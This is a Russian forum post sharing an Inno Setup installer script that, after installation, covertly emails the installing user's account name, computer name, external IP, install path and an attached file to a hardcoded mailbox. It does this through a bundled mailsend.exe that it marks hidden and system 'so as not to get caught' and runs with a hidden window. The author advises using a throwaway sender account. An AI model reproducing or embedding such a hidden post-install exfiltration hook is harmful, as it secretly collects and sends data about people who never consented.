Скрипт MailSend - тихая отправка сообщения с вложением

nik1967

Old Men
Проверенный
Попросили меня написать скрипт для отсылки втихаря сообщений с прикреплённым файлом.
Сначала воспользовался длл'кой и скриптом от уважаемого South'а из темы Ammyy Admin, но письмо отправлялось только с mail.ru, с остальных адресов скрипт выдавал ошибку(возможно только у меня, х.з.), и можно было отправить только максимум 2 сообщения, после чего почтовый сервер блочил сообщения, пока не поменяешь IP.
На Ru.Board'е нашёл консольную программку, подходящую мне: mailsend. И вот на её основе накатал простенький скрипт, воспользовавшись наработками Serega (определение ip). Может кому и пригодится :)
Код:
#ifndef IS_ENHANCED
  #error Enhanced edition of Inno Setup (restools) is required to compile this script
#endif

;************************************************************************************************************************************************************************************************
#define mailfrom       "user@mail.ru" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для mail.ru; нужный раскомментировать, не нужный - закомментировать  */
;#define mailfrom    "user@yandex.ru" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для yandex.ru; нужный раскомментировать, не нужный - закомментировать*/
;#define mailfrom    "user@gmail.com" /* укажите e-mail отправителя (с какого ящика пойдёт письмо - зарегать левую почту) для gmail.com; нужный раскомментировать, не нужный - закомментировать*/
#define smtp           "smtp.mail.ru" /* укажите smtp сервер (для mail.ru); нужный раскомментировать, не нужный - закомментировать                                                             */
;#define smtp        "smtp.yandex.ru" /* укажите smtp сервер (для yandex.ru); нужный раскомментировать, не нужный - закомментировать                                                           */
;#define smtp        "smtp.gmail.com" /* укажите smtp сервер (для gmail.com); нужный раскомментировать, не нужный - закомментировать                                                           */
#define psswrd             "blablabla"/* укажите пароль отправителя (с левого ящика) обязательно, а то письмо не уйдёт                                                                         */
#define name                  "Админ" /* укажите имя, от которого будет послано сообщение (можно на русском)                                                                                   */
#define subj  "Программа установлена" /* укажите тему сообщения (можно на русском)                                                                                                             */
#define mailto         "user@mail.ru" /* укажите e-mail получателя (ящик, который будем проверять; хоть какой, конечно только не тот, с которого отправляем; пароль указывать не надо!)        */
;************************************************************************************************************************************************************************************************

[Setup]
AppName=MailSend
AppVersion=MailSend
DefaultDirName={pf}\MailSend
DefaultGroupName=MailSend
OutputDir=.
OutputBaseFilename=MailSend
DisableDirPage=yes
DisableProgramGroupPage=yes
DisableFinishedPage=yes
DisableReadyPage=yes
DisableWelcomePage=yes
Compression=lzma2/ultra64
InternalCompressLevel=ultra64
SolidCompression=yes
LZMAUseSeparateProcess=yes
LZMADictionarySize=262144

[Languages]
Name: rus; MessagesFile: compiler:Languages\Russian.isl

[Files]
; программка для отсылки сообщений; копируется во временную папку, так, что сама и удаляется после установки
Source: "mailsend\mailsend.exe"; Flags: dontcopy;
; тестовый файлик; в реале не нужен
Source: "mailsend\test.txt"; DestDir: "{app}"; Flags: ignoreversion;

[Code]
type
#ifdef UNICODE
  PChar = PAnsiChar;
#endif

function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; external 'SetFileAttributesA@kernel32.dll stdcall';

// проверяем интернет и получаем ip
function GetHtmlSource(const url: string): string;
var
  vHttp: Variant;
begin
  try
  vHttp:= CreateOleObject('Microsoft.XMLHTTP');
  vHttp.open('GET', url, False);
  vHttp.send;
  Result:= vHttp.responseText;
  except
     Exit;
  end;
end;

procedure SendToMail;
var
   ResultCode: Integer;
   S,body,SP,St,attachf: String;
begin
   St:= #13#10;
   // делаем программку скрытой и системной, что бы не палиться
   SetFileAttributes(PChar(ExpandConstant('{tmp}\mailsend.exe')), FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM);
   // заносим в переменную S значение ip
   S:= GetHtmlSource('http://bot.whatismyipaddress.com/');
   // если S не пустая, значит интернет есть! продолжаем
   if S <> '' then begin
     // само письмо - тут что хочешь, то и пишешь, например:
     body:= AddQuotes('Имя пользователя: '+ExpandConstant('{username}')+St+     // имя пользователя, с компьютера которого отправлено сообщение
                      'Имя компьютера: '+ExpandConstant('{computername}')+St+   // имя компьютера, с которого отправлено сообщение
                      'IP адрес: '+S+St+  // интернет адрес (IP), с которого отправлено сообщение
                      'Программа '+'""{#SetupSetting("AppName")}""'+' установлена в: '+WizardForm.DirEdit.Text+St+ // имя и путь установки програмы
                      'Дата и локалное время установки: '+DateToStr(Date)+' / '+TimeToStr(Time)); // дата и локальное время (время на компьютере, с которого отправлено сообщение) установки программы
     // название файла, который нужно отправить и путь до него (в примере - папка установки программы и файл test.txt)
     attachf:= AddQuotes(ExpandConstant('{app}\')+'test.txt');
    // если прикрепляемый файл на месте
     if FileExists(RemoveQuotes(attachf)) then
     // то коммандная строка программки для отсылки сообщений с прикреплённым файлом
       SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -attach '+attachf+' -sub '+'"{#subj}"'+' -M '+body
     // а вот если он не нашёлся
     else
     // то коммандная строка программки для отсылки сообщений без прикреплённого файла
       SP:= '-smtp '+'{#smtp}'+' -port 465'+' -ssl -auth -user '+'{#mailfrom}'+' -pass '+'{#psswrd}'+' -t '+'{#mailto}'+' -f '+'{#mailfrom}'+' -name '+'{#name}'+' -cs 1251 +cc +bc -q -sub '+'"{#subj}"'+' -M '+body;
     //отправляем письмо, с файлом или без него
       Exec(ExpandConstant('{tmp}\mailsend.exe'), SP, ExpandConstant('{tmp}'), SW_HIDE, ewWaitUntilTerminated, ResultCode);
     // это прикол - сообщение, если отключен интернет. в реале поставить ; после end и всё, что дальше - удалить. ну или закомментировать
   end else MsgBoxEx(0,'Сначала интернет включи!', 'Отправка письма', MB_OK or MB_ICONINFORMATION, 0, 10);
end;

procedure CurStepChanged(CurStep: TSetupStep);
begin
   case CurStep of
     ssPostInstall: begin
       if not FileExists(ExpandConstant('{tmp}\mailsend.exe')) then ExtractTemporaryFile('mailsend.exe');
         SendToMail;
     end;
   end;
end;
Во вложении сама программка, файлик для теста и скрипт.
А, да. Проверял на окнах 7х64 max sp1.
А, да ещё раз. Скрипт писал на Inno Setap Enhanced edition 5.5.1.ee2 (u). Но работает и на Ansi. Можно было бы конечно написать и для 5.5.6 (или 8? - не слежу за новинками :)), но лень.
 

Вложения

Последнее редактирование:
Сверху